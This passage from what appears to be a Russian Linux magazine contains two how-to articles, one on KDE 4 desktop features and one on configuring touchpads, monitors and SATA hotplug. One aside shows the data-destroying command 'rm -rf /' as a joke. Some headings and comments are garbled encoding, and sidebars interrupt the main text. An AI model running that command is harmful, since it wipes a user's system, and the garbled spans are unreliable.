•  paste (вставка текста) — представляет 
шаблоны текстов, которые можно вставить 
в редактируемый текст одним кликом. Есть 

Óäîáíûå êåäû
Ñîâåòû ïî ïðèãîòîâëåíèþ ñàìîãî ïåðåäîâîãî DE

    Юрий  «Adept» Видинеев  adeptg@gmail.com

  KDE îò âåðñèè 4.0 ïðîøåë áîëüøîé ïóòü, íà êàæäîì âèòêå ñâîåãî 
ðàçâèòèÿ îáðàñòàÿ íîâûìè ôèøêàìè è ïîñòåïåííî âîññòàíàâëèâàÿ 
ïàðèòåò ïî ôóíêöèîíàëüíîñòè è êîëè÷åñòâó ïðèëîæåíèé ñ KDE 3.5. 
Ñîâðåìåííûå àðõèòåêòóðíûå ðåøåíèÿ, à òàêæå ìîùíûé, èíòåíñèâíî 
ðàçâèâàþùèéñÿ ôðåéìâîðê Qt ïîçâîëÿþò íàçâàòü KDE4 ñàìûì 
ïðîäâèíóòûì DE íà ñåãîäíÿøíèé äåíü. ß ðàññêàæó î íåêîòîðûõ ôè÷àõ 
KDE, êîòîðûå óñêîðÿþò è óïðîùàþò ðàáîòó ñ íèì.

UNIXOID
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возможность также быстро вставить сгенерированный 
пароль.
• tail (наблюдение за файлами) — простой, но иногда 
полезный виджет. Показывает несколько последних 
строк указанного файла. Можно настроить фильтры 
только на определенные строки.
• google translator — думаю, все ясно из названия 
— виджет для перевода текста с помощью translate.
google.com.
• plasmacon — эмулятор командной строки (konsole) в 
виде виджета. Есть даже поддержка табов.
• easy SSH connection — достаточно удобный виджет 
для организации SSH-соединений.
•  web slice (фрагмент Web) — виджет, показывающий 
веб-страницу или ее часть. Может быть полезен при 
отсутствии на сайте RSS (как ни странно, такие еще 
бывают).
• microblogging — виджет для чтения твиттера.
• lancelot — альтернатива kickoff. Отличается интег-
рацией с krunner и немного другим внешним видом и 
поведением. Мне нравится больше.
Одна из перспективных, но пока еще не допиленных 
фишек — возможность расшарить виджет по сети. На 
самом деле это очень удобно — можно, например, рас-
шарить заметки или листать песни в Amarok на сосед-
нем компе (при наличии соответствующего виджета). 
Особой настройки это не требует, так как используется 
zeroconf (следовательно, нужен запущенный avahi-
daemon). В настройках виджета нужно указать: Share 
(Удаленный доступ)  Share this widget on the network 
(Разрешить удаленный доступ к этому виджету). Доступ 
к виджету можно открыть всем, кому ни попадя, а можно 
использовать простую систему аутентификации, при 
которой одинаковая фраза должна быть введена на не-
скольких компах. Увидеть список расшаренных видже-
тов в своей сети можно, набрав в dolphin «network:/». 
Правда, технология еще не до конца стабильна — у 
меня ее использование периодически приводит к краху 
плазмы. К тому же, часть расшаренных виджетов по-
чему-то отказывалась работать. И «смонтированный» 
виджет сам не пропадает при пропаже источника.

Plasma activites
Кроме обычных виджетов, которыми уже никого не уди-
вишь, Plasma может предложить не совсем привычную 
штуку — Activites. В русской локализации она называ-
ется «Комнаты», но мне кажется, что этот перевод не 
совсем отражает суть вещей, поэтому я буду называть 
их «Активностями». Что же такое активность? Пред-

ставь себе среднестатистического пользователя. Вот 
он утром проснулся, схватил ноут и побежал на работу. 
На работе открыл vim/emacs/eclipse (нужное подчерк-
нуть) и начал трудиться. Это одна активность. При этой 
активности плазмоиды на рабочих столах размещены в 
удобном порядке, из меню пропали ненужные для рабо-
ты приложения, IM-клиент показывает только рабочие 
контакты (игнорируя призывы друзей пойти попить 
пива), браузер попрятал все вкладки на башорг и Ко и 
т.д. Все, хватит работать, пришел обед. Время почитать 
гуглридер и пообщаться с друзьями. Это вторая ак-
тивность. Закончился трудовой будень — пора домой. 
А дома можно и фильм посмотреть, и в какую-нибудь 
легкую игру расслабиться. И рабочие контакты дома 
ни к чему, и желательно, чтобы рабочие файлы глаза 
не мозолили :). Это активность за номером три. За пару 
щелчков мыши можно сменить активность и сосредо-
точиться на конкретной задаче. Сказка, не правда ли? 
И все это KDE… будет уметь. Разработчики-оптимисты 
обещают, что где-то к версии 4.8. Пока же можно:
• создавать/удалять активности с помощью менедже-
ра, похожего на менеджер виджетов (вызывается по 
Super-Q).
• привязать свою активность к каждому рабочему столу, 
что позволит на каждом из них иметь свой набор вид-
жетов и обои (для меня это gnome_killer-фича :) ). 
Настраивается это так: System Settings (Параметры 
системы)  Window Behavior (Поведение окон)  
Virtual Desktops (Рабочие столы)  Different widgets 
for each desktop (Отдельный набор виджетов для каж-
дого рабочего стола).
• привязывать окна к определенным активностям, 
тогда это окно будет активно только при выборе этой 
активности. Но это теоретическое поведение; у меня 
почему-то получилось с точностью до наоборот: при вы-
боре этого окна активность менялась на привязанную.

Plasma netbook
Внешний вид Plasma очень гибко настраивается, 
его можно подогнать под экран практически любого 
размера/разрешения. А для нетбуков есть специальная 
версия. Включается так: System Settings (Параметры 
системы)  Workspace (Рабочее пространство Plasma) 

 Workspace type (Тип рабочего пространства)  
Netbook (Нетбук).
После включения перед нами предстанет нехитрый 
интерфейс Search and Launch. Примерно посередине 
экрана — поле ввода (на самом деле это такой замас-
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Переключение окон по <Alt+Tab>

Я использую KDE 
4.5, и некоторые 
фичи из статьи могут 
работать не так или 
не работать совсем 
в других версиях.

warning 

WARNING

Как тебе такой десктоп?

info
• Live-версии 
последнего KDE 
можно взять здесь: 
http://home.kde.
org/~kdelive/

• Ставим в kubuntu 
дополнительные 
виджеты: «sudo apt-
get install plasma-
widget-*».

• Zeroconf (Zero Con-
figuration Network-
ing) — технология, 
предназначенная 
для автоматической 
настройки IP-сети. 
Avahi — свободная 
реализация zeroconf.

INFO

• kde.org — 
официальный сайт
• planetkde.org — 
сборник блогов 
о KDE
• userbase.kde.
org — о KDE для 
пользователей (wiki)
• www.kdedevel-
opers.org — блог 
разработчиков KDE
• windows.kde.
org — порт KDE под 
Windows

links

HTTP://WWW

Конвертор величин krunner
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кированный krunner) для запуска приложений. Чуть ниже поля 
ввода — эти же приложения, рассортированные по категориям. На 
самом верху экрана — панель с треем, своеобразным taskbar'ом в 
правом углу (список окон появляется при нажатии на кнопку) и до-
полнительными активностями (виртуальными рабочими столами) 
в левом.
При запуске приложения его окно разворачивается на полный 
экран, заголовок окна вместе с кнопками закрытия/сворачивания 
перемещается в правый угол верхней панели, которая, в свою оче-
редь, тоже исчезает и появляется только при перемещении мышки 
в верхний край экрана. Максимальное использование пространс-
тва маленького экранчика налицо. Переключать приложение мож-
но либо по <Alt+Tab>, либо с помощью вышеупомянутого taskbar'а.
Виджеты можно добавлять либо на Search and Launch, где они 
будут расположены в нижней части экрана в сильно уменьшенном 
виде, либо на дополнительные активности (по умолчанию она 
одна — page one). Если одной page one мало, можно наплодить их 
сколько угодно. Для этого, щелкнув на лого Plasma в левом нижнем 
углу экрана, выбираем «Add page» (Добавить полосу).
Plasma Netbook — поначалу непривычный, но вполне удобный 
интерфейс для устройств с небольшими экранами.

kwin
«Родной» менеджер окон KDE. Хотя различных эффектов у него 
немного поменьше, чем у того же compiz, и работает он помедлен-
нее (субъективно) на моем встроенном Intel'е, но у него есть пара 
уникальных возможностей, которые есть далеко не во всех WM.
Во-первых, kwin — композитный менеджер окон. То есть, умеет 
рисовать на рабочем столе всякие эффекты вроде «желейных» 
окошек или куба рабочих столов. Включаются эффекты в System 
Settings (Параметры системы)  Desktop Effects (Эффекты рабоче-
го стола).
Одной из интересных возможностей kwin является группировка 
окон, позволяющая объединить несколько окон в группу, которая 
будет вести себя как одно окно. Для объединения окон надо сред-
ней кнопкой мыши взяться за заголовок одного окна и переместить 
его в заголовок другого окна. Либо ткнуть на заголовке окна правой 
мышкой и скомандовать «Move Window to Group» (Переместить 
окно в группу). В результате должно получиться что-то похожее на 
скриншот, где объединены konsole и dolphin.
Еще одна интересная особенность kwin — возможность гибкого 
управления поведением окон. Например, можно задать, чтобы 
rekonq запускался только на четвертом рабочем столе развернутым 
во весь экран. Поведение окон настраивается так: щелчок правой 
кнопкой мыши по заголовку окна  Advanced (Дополнительно)  
«Special Application Settings» (Специальные параметры приложе-
ния).
Другая полезная фича — edge snapping. Это такой способ манипу-
лирования окнами: если окно переместить в левую (правую) сто-
рону экрана, то оно займет ровно половину экрана слева (справа). 
Если же в верх экрана, то окно развернется на полный экран.
Начиная с KDE 4.5, kwim — еще и фреймовый (tailing) менеджер 
окон. Для тех, кто не в курсе — фреймовые менеджеры располага-
ют окна так, чтобы они ни в коем случае не накладывались друг на 

друга. Таким образом достигается максимальное использование 
рабочего пространства. Фреймовых менеджеров окон — пруд пруди: 
xmonad, ion3, ratpoison и многие, многие другие. Но иметь свой 
встроенный, включающийся несколькими щелчками мыши, доволь-
но приятно. Кстати, включается он вот так: System Settings (Пара-
метры системы)  Window Behavior (Поведение окон)  Advanced 
(Дополнительно)  Enable tiling (Включить фреймовый режим).
В настройках доступны три схемы размещения окон:
• Спираль (Spiral) (по умолчанию) — каждое следующее открытое 
окно будет в два раза меньше предыдущего по размеру. Окна 
будут располагаться в виде закручивающейся по часовой стрелке 
спирали.
• Колонны (Columns) — рабочий стол поделен на две части: всю ле-
вую занимает единственное окно, а в правой ютятся все остальные 
окна одинакового размера.
• Плавающий (Floating) — наиболее свободный режим, в нем окна 
располагаются просто на имеющемся свободном месте без какого-
либо порядка.
Меня вполне устраивает Spiral. Какой бы режим не использовался, 
отдельному окну (или нескольким) можно задать свои размер и 
положение на экране. Для этого надо сделать окно «плавающим»: 
щелкнуть правой мышкой на заголовке окна и выбрать «Float 
Window» (Плавающее окно). Либо просто щелкнуть два раза левой 
мышкой по заголовку окна — окно развернется на полный экран и 
станет плавающим. Плавающие окна существуют отдельно от всех 
остальных, и их можно индивидуально перемещать/ресайзить.
Тем, кто ни разу в глаза не видел фреймовые WM, их работа 
поначалу может показаться необычной (читай: неудобной). На то, 
чтобы понять все удобство такого менеджера, может понадобиться 
некоторое время. Поверь, оно того стоит.

krunner
Одна из самых незаметных, но часто используемых мною фич — 
krunner. Это с виду скромненькое окошко ввода, вылезающее по 
умолчанию сверху экрана по <Alt+F2>. По мере того, как ты набира-
ешь текст, krunner предлагает тебе разные варианты (для поиска 
используется Nepomuk). Когда результатов поиска несколько, то 
перемещаться между ними можно с помощью  <Tab>/<Tab+Shift> 
или стрелок вверх/вниз. Если в результатах поиска присутству-
ют виджеты, то их можно мышкой перетащить на рабочий стол. 
Krunner можно использовать и как простой калькулятор, просто 
введя, например, «16*1024=». Первым в результатах поиска будет 

Укорачивание ссылок с помощью klipper

На вражеской территории

Еще одно революционное свойство KDE4 — то, что она работает (ОК, 
пытается работать) на Windows и Mac OS X. Так как мака под рукой у 
меня не было, то я попытался поставить KDE на WinXP, которая у меня 
живет в виртуалке. Разработчики предостерегают, что порт экспери-
ментальный и всячески отговаривают от ежедневного использования. 
Последняя стабильная версия KDE SC на момент написания статьи — 
4.5.1, а порта под Win — 4.4.4. Поддерживается WinXP и выше. Качаем 
последний инсталлятор с windows.kde.org (всего около двух метров; 
все остальное он скачает из инета в процессе установки). Установка в 
лучших традициях мелкомягкой ОС: Далее-Далее-Согласен-Далее. 
Важные пункты во время установки:

•  выбор репозитория, откуда буду качаться пакеты. winkde.org реко-
мендуется как самый полный, с него можно поставить даже nightly-
билды.
• выбор пакетов, которые будут установлены.

В общем, у меня порт KDE под Win полностью оправдал свой экспери-
ментальный статус — половина прог отказались запускаться.
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значение. Можно даже использовать тригонометрические вели-
чины (sin, cos и т.д.), корень (sqrt) и другие. Более того, krunner 
— это полноценная командная строка, способная выполнить, 
скажем, «rm -rf /» :). А еще krunner можно использовать для пре-
образования величин, например, введя «21,5 дюймов в сантимет-
рах», узнаем диагональ распространенных мониторов. Поддержи-
ваются такие величины, как длина, масса, скорость, температура, 
давление и другие. Если ввести xakep.ru, то откроется дефолтный 
браузер с сайтом. Еще одна интересная возможность — использо-
вание специальных сокращений, например:

• ggk: some_word — ïîèñê some_word â ãóãëå

• wp: some_word — ïîèñê some_word â âèêèïåäèè

Эти сокращения krunner берет из Konqueror'а или rekonq (там же 
их можно и настроить).
Но и это еще не все: из krunner можно выключить (перезагрузить, 
отправить в ждущий режим) комп, управлять kopete или amarok и 
многое, многое другое. Про все варианты можно почитать, ткнув на 
кнопку с вопросительным знаком справа от строки ввода.

Klipper
В KDE много маленьких приятных утилит и плазмоидов. Хороший 
пример тому — klipper, менеджер буфера обмена. Он был бы самым 
обычным менеджером, если бы не механизм действий. С помо-
щью действий над помещенными в буфер обмена данными можно 
проводить разные манипуляции. Например, чтобы автоматически 
укорачивать ссылки через clck.ru, нужно добавить новое действие 
для регулярного выражения (^(http|https|ftp):\/\/[a-z0-9]+([\-\.]
{1}[a-z0-9]+)*\.[a-z]{2,5}(([0-9]{1,5})?\/.*)?$), а в качестве команды 
указать «lwp-request http://clck.ru/--?url=%s». Похожим образом 
можно использовать любой другой укорачиватель ссылок. Затем 
на вкладке Shortcuts (Комбинации клавиш) убедиться, что для 
действия «Manually Invoke Action on Current Clipboard» (Ручной 

выбор действия) назначена комбинация (по умолчанию это <Ctrl-
Alt-R>). Теперь осталось только скопировать адрес и нажать ука-
занную выше комбинацию клавиш, чтобы увидеть меню с выбором 
действий, где будет присутствовать действие по укорачиванию.

Поиск
KDE позиционируется как семантический десктоп. А семантичес-
кий десктоп немыслим без гибкого поиска. Поиск осуществляется 
либо по тегам и оценкам, оставленным самим пользователем, либо 
по метаданным файлов. В Dolphin есть даже специальный «про-
токол» timeline, позволяющий отслеживать изменения файлов по 
дням. Изменения отслеживаются по времени изменения файла, 
поэтому служба Strigi должна быть включена: Desktop Search (По-
иск по меткам и содержимому)  Enable Strigi Desktop File Indexer 
(Включить поисковую систему Strigi). На вкладке «File Indexing» 
(Индексирование файлов) можно указать, какие именно каталоги 
индексировать, а какие не стоит. Strigi понимает многие форматы 
(вроде ODT, PDF, MP3) и, что тоже приятно, пытается не напрягать 
систему при индексировании — индексирование отключается, 
если ноут работает от батарейки, заканчивается место на диске 
или системе и без индексатора тяжко.
При включенной панели поиска в Dolphin (Settings (Настройка)  
Toolbar Shown (Видимые панели инструментов)  Search Toolbar 
(Строка поиска)) можно искать через Nepomuk. Или же прямо в 
строке перехода «nepomuksearch:/KDE». Результаты поиска потом 
можно легко сохранить в виде закладки.

Заключение
KDE4 опережает в развитии любой другой DE на несколько лет. 
В стане его главного конкурента — Gnome — только готовятся к 
важным необходимым архитектурным изменениям и постоянно 
откладывают выход Gnome3. Так что, если ты еще не пробовал 
KDE, стоит дать ему шанс. Уверен, он надолго поселится на твоем 
десктопе или ноуте. z 

Маскот KDE

Plasma Netbook Tailing

Группировка окон
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Считается, что UNIX-системы еще не 
доросли до того уровня, чтобы полностью 
сравняться с Windows в плане поддержки 
оборудования. Дескать, хоть драйвера и 
есть, но появляются они с задержкой и не 
могут обеспечить полной и всесторонней 
поддержки оборудования. А фирмен-
ных утилит от производителя для Linux и 
вовсе не дождешься. Как, например, тонко 
настроить тачпад ноутбука или управлять 
монитором без нативных утилит? К счастью, 
все далеко не так плачевно, и зачастую им 
можно найти достойную альтернативу.

Тюнингуем тачпад
С выходом версии 7.3 X.Org получил меха-
низм горячего подключения, позволивший 
ему подхватывать любые устройства ввода в 
полностью автоматическом режиме. Особое 
удобство нововведение принесло владель-
цам ноутбуков, многие из которых попе-
ременно пользуются мышью и тачпадом. 
Отныне после подключения мышь сразу 
становилась активной и могла принимать 
участие в управлении курсором наравне со 
своим емкостным собратом. Картина омра-
чалась только тем, что тачпад при этом не 

отключался и продолжал функционировать, 
постоянно мешая набирать текст (кто знает, 
тот поймет). Эта же проблема сохранялась 
и при отключенной мыши (но в этом случае 
можно было успокоить себя хотя бы тем, что 
тачпад все-таки нужен).
Об этой проблеме производители ноутбуков 
уже давно знают и оснащают устройства 
специальным механизмом принудительно-
го отключения тачпада, который состоит из 
специально помеченной клавиши, которую 
следует нажимать совместно с <Fn>, и драй-
вера, который перехватывает эту клавиа-

Ïàäåíèå 
æåëåçíîãî 
çàíàâåñà
Óïðàâëÿåì îáîðóäîâàíèåì èç Linux 

    Евгений  Зобнин  zobnin@gmail.com

  Êîãäà-òî íèêàêèõ ãðàôè÷åñêèõ êîíôèãóðàòîðîâ íå ñóùåñòâîâàëî, 
ñòàðòîâûå ñêðèïòû çàíèìàëè 200 ñòðîê â ñóììå, à èäåè HAL è udev åùå 
òîëüêî íà÷èíàëè âèòàòü â óìàõ ðàçðàáîò÷èêîâ. Ãðàìîòíàÿ íà÷àëüíàÿ 
êîíôèãóðàöèÿ UNIX ìîãëà îòíÿòü öåëûé äåíü, à åå ïðîöåññ 
ñîïðîâîæäàëñÿ ÷òåíèåì êíèã è äîëãèìè ïîèñêàìè èíôîðìàöèè. 
Ñåãîäíÿ äèñòðèáóòèâû Linux ñàìè ïîäñòðàèâàþòñÿ ïîä îáîðóäîâàíèå 
è ïî÷òè íå òðåáóþò íàñòðîéêè, îäíàêî ñèòóàöèè, òðåáóþùèå ëè÷íîãî 
âìåøàòåëüñòâà ïîëüçîâàòåëÿ, ìîãóò âîçíèêíóòü â ñàìûé íåîæèäàííûé 
ìîìåíò. 

UNIXOID
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турную комбинацию и выключает мешающий сенсор. Естественно, 
в UNIX эта комбинация не работает. Но совсем не из-за отсутствия 
драйвера, как можно было бы подумать, а в угоду безопасности 
системы.
Дело в том, что почти все современные ноутбуки (а также куча других 
устройств) оснащаются сенсорными панелями, разработанными 
фирмой Synaptics. За их работу в X.Org отвечает прекрасный одно-
именный драйвер, а также специальная утилита и демон, позволя-
ющие производить настройку сенсорной панели и автоматически 
менять режим ее работы. С помощью synclient можно спокойно 
отключить тачпад в любое время, а syndaemon позволяет отклю-
чать его в автоматическом режиме в зависимости от каких-либо 
внешних условий. Более того, во многих Linux-дистрибутивах уже 
полностью настроены горячие клавиши, деактивирующие тачпад на 
некоторых ноутбуках (например, есть настройки для всех ноутбуков 
ASUS — /etc/acpi/events/asus-touchpad, /etc/apci/asus-touchpad.sh). 
Проблема только в том, что все это не работает. В целях повышения 
безопасности дистрибутивостроители держат механизм разделяе-
мой памяти, используемый для взаимодействия всех этих компонен-
тов с драйвером тачпада в выключенном состоянии (иначе любая 
вредоносная программа с минимальными правами легко смогла 
бы получить полный контроль над тачпадом, а значит, и над всеми 
действиями пользователя).
К счастью, активировать разделяемую память в драйвере synaptics 
очень легко, достаточно добавить всего одну строку в xorg.conf. 
Однако здесь нас поджидает еще одна засада. Новый X-сервер (а 
именно — версия 1.8) уже не использует единый конфигурацион-
ный файл, а опирается на множество конфигов, расположенных в 
каталоге /usr/lib/X11/xorg.conf.d. Поэтому придется разбираться с 
его структурой (на самом деле совместимость с обычным конфигом, 
конечно же, сохранена, но правка xorg.conf теперь не является 
тру-вэй). Необходимый нам конфиг носит имя 10-synaptics.conf и 
содержит несколько секций InputClass, описывающих сенсорные 
панели разных ноутбуков, в одну из которых необходимо добавить 
строку «Option "SHMConfig" "true"» (не нашел свой ноут — пиши в 
самую первую секцию), а также несколько настроек. Например:

# Âåðòèêàëüíàÿ è ãîðèçîíòàëüíàÿ ïðîêðóòêà äâóìÿ ïàëüöàìè

Option "VertTwoFingerScroll" "1"

Option "HorizTwoFingerScroll" "1"

# Íàñòðîéêà ñêîðîñòè

Option "AccelFactor" "0.010"

# Êðóãîâàÿ ïðîêðóòêà

Option "CircularScrolling" "on"

Option "CircScrollTrigger" "0"

Но если насущной необходимости нет, я бы не рекомендовал их 
туда помещать. Во-первых, драйвер synaptics достаточно умен, 
чтобы самостоятельно включить все поддерживаемые тачпадом 
возможности, включая такие вкусности, как прокрутка двумя 
пальцами и эмуляция второй и третьей клавиш мыши с помощью 
двух- и трехпальцевого тапа. Смысл имеет разве что изменение 
ускорения или включение круговой прокрутки (и отключение 
двухпальцевой). 
Во-вторых, все это можно сделать с помощью графических на-
стройщиков KDE/Gnome, программы gsynaptics или консольного 
клиента synclient (современный X.Org движется по пути тоталь-
ного хотплага, поэтому все, что может быть задано динамически, 
не должно быть задано статически).После окончания конфи-
гурирования сохраняем файл и перезагружаем ОСь или X.Org, 
кому что удобнее. После загрузки владельцы ноутбуков ASUS (и 
некоторых других фирм) могут начинать радоваться заработав-
шей комбинацией отключения тачпада. Все остальные набира-
ют команду:

$ synclient TouchpadOff=1

Выключается присваиванием нуля. Идеально для навески на горя-
чие клавиши. Если же вариант с горячей клавишей тебе не подходит, 
вот рецепт для автоматического отключения тачпада во время набо-
ра текста (добавить в ~/.xinitrc или в файл автозапуска DE):

$ syndaemon -K -d -i 1

Опция '-K' призывает syndaemon отключать тачпад только во время 
набора текста, оставляя его работать при нажатии клавиатурных 
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Утилита ddccontrol нашла 
два монитора

Утилита flashrom честно говорит, что не будет прошивать BIOS

info
• Исчерпывающую 
информацию о 
железе выдает 
простая консольная 
утилита lshw.

• Утилита nvram-
wakeup способна 
настроить время 
автоматического 
включения компа 
без необходимости 
использовать окно 
настройки BIOS.

• Перед 
перепрошивкой 
настройки BIOS 
можно сохранить с 
помощью команды 
«modprobe nvram 
&& dd if=/dev/nvram 
of=nvram.bin».

INFO
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комбинаций, опция '-d' делает программу фоновым процессом, 
а '-i' устанавливает задержку до включения тачпада. Для кого-
то может оказаться удобной опция '-t', которая отключает только 
возможность тапа через нажатие на тачпад, оставляя возмож-
ность перемещать курсор.
А теперь ответ всем тем, кто говорит, что тема, поднятая в пер-
вом абзаце раздела, не была раскрыта:

ACTION=="add", SUBSYSTEM=="input", ID_CLASS="mouse", 

RUN+="/usr/bin/synclient TouchpadOff=1"

ACTION=="remove", SUBSYSTEM=="input", ID_CLASS="mouse", 

RUN+="/usr/bin/synclient TouchpadOff=0"

Эти строки необходимо поместить в файл /etc/udev/rules.d/01-
touchpad.rules. Назначение должно быть ясно.

Подключаем второй монитор
Сегодня дополнительными видеовыходами оснащают даже самые 
дешевые видеокарты и ультра-бюджетные ноутбуки. Наверняка 
один (или даже больше) такой выход есть и на твоей видеокар-
те. Благодаря ему к машине можно подключить второй монитор, 
проектор, телевизор или любое другое устройство вывода инфор-
мации, поддерживающее подключение с помощью VGA- или HDMI-
входов. Проблема только в том, что без дополнительной настройки 
это устройство не заработает, а если и заработает, то совсем не так, 
как предполагалось. 
Хорошо, когда в окружение рабочего стола уже встроены средства 
настройки второго монитора (например, при втыкании кабеля 
в дополнительный видеовыход среда KDE показывает предуп-
реждающее сообщение с предложением настроить устройство). 
Однако не все предпочитают использовать KDE, которые к тому же 
далеко не всегда справляются со своей задачей. Поэтому наиболее 
безболезненным и гибким средством включения второго монитора 
являются встроенные инструменты самого X-сервера.
Всего таких инструментов два: расширение Xinerama, разработан-
ное компанией DEC (сотрудники которой называли его PanoramiX), 
и расширение RandR, созданное совершенно для других целей, но 
с недавних пор позволяющее выполнять все функции Xinerama. 
Причем смысл их одновременного сосуществования только в том, 
что первый оставили для совместимости и еще не успели выкинуть 
из X.Org (тысячи людей, начитавшись устаревших руководств, 
продолжают использовать Xinerama для подключения второго 
дисплея, наплевав на все его недостатки вроде необходимости 
перезагрузки иксов для изменения настроек).
В отличие от Xinerama, расширение RandR позволяет изменять 
конфигурацию «на лету» (ура горячему подключению!), отлично 
работает совместно с OpenGL и расширением AIGLX (ура Compiz'у и 
FlightGear!) и очень легко поддается настройке. Так, для настройки 
стандартного dual head с помощью xrandr необходимо выполнить 
всего четыре простых действия (два из которых опциональные):

1. Запускаем команду «xrandr -q» и смотрим инфу о доступных ви-
деовыходах (для их идентификации смотри врезку «Соответствие 
видеопортов и их имен в xrandr на ноутбуках»). Обычно дополни-
тельный VGA-выход отмечается как VGA-1 на десктопе, как VGA-0 — 
на ноутах, и disconnected, если к нему ничего не подключено.
2. Втыкаем кабель, вновь запускаем «xrandr -q» и видим надпись 
«connected» рядом с VGA-0. Если монитор поддерживает стандарт 
DDC (а это любая модель старше десяти лет), то ниже появится 
список поддерживаемых видеорежимов.
3. Набираем команду:

$ xrandr --output VGA-0 --auto

или

$ xrandr --output VGA-0 --mode 1024x768 --auto

если стандартное разрешение не подходит. После этого на экране 
подключенного устройства должна появиться копия изображения 
головного дисплея (во избежание обрезки картинки или пустых 
областей разрешения на устройствах должны совпадать). Это 
идеальный режим работы при использовании проектора (пока-
зывающий должен видеть то, что он показывает), но совершенно 
неприемлемый для двухмониторной конфигурации. Чтобы сделать 
изображение панорамным, то есть растянутым между двумя экра-
нами, придется выполнить еще одну команду.
4. Растягиваем рабочий стол на два монитора:

$ xrandr --output VGA-0 --right-of LVDS

Так мы получим рабочий стол, растянутый между двумя экранами 
(при разрешении обоих экранов равном 1024x768 размер виртуаль-
ного экрана будет составлять 2048x768). При этом подключенный 
монитор будет отображать правую часть стола, а уже имеющийся 
(LVDS — это экран ноутбука) — левую. Такого эффекта мы достигли с 
помощью опции '--right-of', что и логически, и лексически означает 
«правее от». Кроме нее xrandr поддерживает опции '--left-of' (ле-
вее), '--above' (выше) и '--below' (ниже). Не возбраняется и точное 
указание части виртуального рабочего стола, отображаемого вто-
рым монитором, с помощью опции '--pos'. Например:

$ xrandr --output VGA-0 --pos 1024x0

Графическая надстройка над xrandr в KDE

Соответствие между 
видеопортами и их именами
в xrandr на ноутбуках

Intel
* LVDS: внутренняя панель
* TMDS-1: порт DVI
* VGA: порт VGA
* TV: TV-порт
ATI
* LVDS: внутренняя панель
* DVI-0: первый порт DVI
* DVI-1: второй порт DVI
* VGA-0: первый порт VGA
* VGA-1: второй порт VGA
Nvidia (открытый драйвер)
* LVDS: внутренняя панель
* DVI0: первый порт DVI
* DVI1: второй порт DVI
* VGA0: первый порт VGA
* VGA1: второй порт VGA
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В сущности, это все, что нужно знать о подключении второго 
монитора любому линуксоиду. Но только в том случае, если он 
не использует видеокарту от nVidia с драйверами от произво-
дителя. Проприетарные драйвера от nVidia — это единствен-
ные дрова для видеокарт большой тройки (Intel, nVidia, AMD/
ATi), которые не поддерживают расширение RandR версии 
1.2, которая как раз и содержит все вкусности, описанные в 
статье. Взамен производитель предл агает воспользоваться 
фирменным костылем под названием TwinView, который можно 
настроить с помощью nvidia-settings (не буду пояснять, как это 
делать, там все просто).

Меняем настройки монитора 
автоматически
Уже упомянутый выше стандарт DDC (Display Data Channel) 
используется не только для получения информации о поддержи-
ваемых видеорежимах от монитора, но и для ответной посылки 
специальных команд, управляющих состоянием монитора. При 
этом зачастую диапазон понимаемых монитором команд очень 
широк и может включать в себя аналоги всех пунктов меню самого 
монитора, а также несколько сервисных команд, которые не долж-
ны быть доступны рядовым пользователям.
Обычно DDC используются для реализации функционала 
управления монитором в фирменных утилитах, поставляемых 
его производителем. Чаще всего такие утилиты не несут особой 
выгоды для пользователя, так как выполняют все те же действия, 

которые доступны с лицевой панели монитора. Иногда, конечно, 
программисты добавляют в них автоматизма, позволяя менять 
параметры на лету в зависимости от запускаемых приложений и 
других факторов, но все это не дает той гибкости, которую может 
предоставить низкоуровневое вмешательство в настройки 
монитора.
По самой своей сути DDC — это набор протоколов для двунап-
равленного обмена данных, передаваемых по шине I2C (Inter-
Integrated Circuit). Физическим носителем для него выступает 
обычный VGA-кабель, а абонентами — монитор и видеоадаптер. 
DDC описывает способ представления монитором информации о 
себе и своих характеристиках, поэтому любой видеоадаптер может 
легко получить всю необходимую информацию о мониторе (причем 
не важно, включен он будет или нет), однако о том, какие сообще-
ния должен обрабатывать монитор, и каким образом он должен это 
делать, стандарт умалчивает, обязывая производителя всего лишь 
предоставить для записи 256 регистров (ячеек памяти, своего рода 
приемников сообщений). Поэтому при управлении с помощью DDC 
необходимо точно знать, что нужно записать и в какие регистры, 
чтобы получить желаемый результат (а зачастую эти данные извес-
тны только самому производителю мониторов).
Это и есть главная причина того, что DDC так непопулярен среди 
пользователей альтернативных ОС. К счастью, ситуация не такая 
уж и безвыходная. Во-первых, существует утилита ddccontrol, 
которая уже содержит достаточно большую базу мониторов и опи-
саний их регистров, поэтому если с моделью повезло, все будет 
просто. Во-вторых, даже если монитора нет в базе ddccontrol, 
можно надеяться на то, что некоторые комбинации «регистр-
значение» одинаковы для всех мониторов (а это так и есть), а 
остальные можно найти в интернете. В-третьих, можно устроить 
брутфорс (всего 256 однобайтовых ячеек памяти) и надеяться, что 
в процессе монитор не умрет.
Итак, попробуем. Устанавливаем ddccontrol:

$ sudo apt-get install ddccontrol

Запускаем утилиту с флагом '-p', чтобы найти доступные мониторы:

$ sudo ddccontrol -p

И получаем сообщение о том, что мониторов нет. ОК, подгружаем 
модуль поддержки шины I2C и прописываем его в автозагрузку:

$ sudo modprobe i2c-dev

$ sudo su

# echo i2c-dev >> /etc/modules

Вновь запускаем утилиту. Бинго! Мониторы найдены. Однако, даже 
несмотря на то, что утилита смогла определить модель одного из 
них, соответствий в базе найдено не было. Зато ddccontrol забот-

Горячее подключение 
SATA-устройств

Начиная с ядра 2.6, Linux научился подключать и отключать на лету не 
только SCSI-диски, но и SATA. По сути, теперь диск можно выдернуть в 
любой момент и подключить его вновь, не рискуя угробить устройство 
или отправить ядро в панику. Однако, чтобы избежать возможной 
потери данных или проблем с диском, операцию извлечения лучше 
предварить несколькими командами (пример для диска sda с двумя 
разделами: sda1 и sda2)

# sync; sync

# umount /dev/sda1

# umount /dev/sda2

# echo 1 >/sys/block/sda/device/delete

После подключения нового диска заставляем SATA-контроллер вновь 
просканировать шину:

# echo "- - -" >/sys/class/scsi_host/host{0..3}/scan

Одна строка — и дело сделано
Результат выполнения команды «xrandr -q»
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ливо описала все регистры и допустимые значения, описанные в 
стандарте VESA. Из них единственно полезными мне показались 
регистры, регулирующие яркость и контрастность монитора (адрес 
— 0x10 и 0x12, максимальное значение — 50 и 127). Для их чтения 
используем такую команду:

$ sudo ddccontrol dev:/dev/i2c-1 -r 0x10

Для записи — такую:

$ sudo ddccontrol dev:/dev/i2c-1 -r 0x10 -w 50

Здесь dev:/dev/i2c-1 — это имя I2C-устройства из самого начала вы-
вода команды «ddccontrol -p», 0x10 — адрес регистра, 50 — значе-
